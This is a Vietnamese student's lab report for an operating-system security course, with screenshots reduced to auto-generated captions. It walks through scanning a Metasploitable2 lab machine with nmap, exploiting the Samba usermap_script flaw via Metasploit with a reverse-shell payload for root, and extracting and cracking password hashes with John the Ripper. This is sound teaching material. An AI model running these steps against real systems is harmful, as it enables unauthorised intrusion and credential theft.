**An toàn HĐH (INT1484) - Bài thực hành số 1**

**Đinh Quang Hiếu – B19DCAT065**

**3. Nội dung thực hành**

**3.1 Cài đặt các công cụ, nền tảng**

* Cài đặt Kali Linux (nếu chưa cài đặt) trên 1 máy ảo (hoặc máy thực)

**A screenshot of a computer

Description automatically generated with medium confidence**

* Đổi tên máy Kali Linux thành dạng Mã SV-Tên-Kali

**A screenshot of a computer

Description automatically generated with medium confidence**

* Kiểm tra và chạy thử bộ công cụ tấn công MetaSploit

**Text

Description automatically generated**

* Tải và cài đặt Metasploitable2 làm máy victim

**Text

Description automatically generated**

* Tạo một người dùng mới trên máy ảo

**Text

Description automatically generated**

* Đặt lại tên máy chứa lỗi là Mã SV+Họ và tên

**Text

Description automatically generated**

**3.2 Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại**

* Tìm địa chỉ IP của máy victim, kali:
* Kali

Text

Description automatically generated

* Victim

Text

Description automatically generated

* Kiểm tra kết nối mạng giữa các máy:
* Kali đến Victim

A screenshot of a computer

Description automatically generated with medium confidence

* Victim đến Kali

Text

Description automatically generated with medium confidence

* Sử dụng công cụ nmap để rà quét các lỗ hổng tồn tại trên máy chạy Metasploitable2:
  + Quét cổng dịch vụ netbios-ssn cổng 139: nmap --script vuln -p139 <IP máy đích>

Text

Description automatically generated

* + Quét cổng dịch vụ microsoft-ds cổng 445: nmap --script vuln -p445 <IP máy đích>

Text

Description automatically generated

3.3 Khai thác tìm phiên bản Samba đang hoạt động:

Khởi động Metasploit

- Khai báo sử dụng mô đun tấn công: msf > use auxiliary/scanner/smb/smb\_version

Text

Description automatically generated

- Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

Graphical user interface, text

Description automatically generated

- Đặt địa chỉ IP máy victim: msf > set RHOST ip victim



- Thực thi tấn công:

Text

Description automatically generated

3.4 Khai thác lỗi trên Samba cho phép mở shell chạy với quyền root:

- Khởi động Metasploit

- Khai báo sử dụng mô đun tấn công: msf > use exploit/multi/samba/usermap\_script



- Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

Text

Description automatically generated

- Đặt địa chỉ IP máy victim: msf > set RHOST



- Chọn payload cho thực thi (mở shell): msf > set payload cmd/unix/reverse



- Đặt 445 là cổng truy cập máy victim: msf > set RPORT 445



-Chạy lệnh “show options” để xem các thông tin về thiết lập tấn công đang sử dụng

Text

Description automatically generated

- Thực thi tấn công: msf > exploit

Text

Description automatically generated

-Chạy các lệnh để đọc tên người dùng và máy đang truy cập:

A screenshot of a computer

Description automatically generated with medium confidence

-Lấy tên người dùng và mật khẩu đã tạo ở mục 3.1:

Text

Description automatically generated

-Chọn và sao chép cả dòng tên người dùng và mật khẩu băm vào clipboard

- Mở một cửa sổ Terminal mới, chạy lệnh: nano password

sau đó paste thông tin tên người dùng và mật khẩu băm từ clipboard vào file password Gõ Ctrl-x để lưu vào file

Text

Description automatically generated

-Crack để lấy mật khẩu sử dụng chương trình john the ripper (hoặc 1 công cụ crack mật khẩu khác):

**Text

Description automatically generated**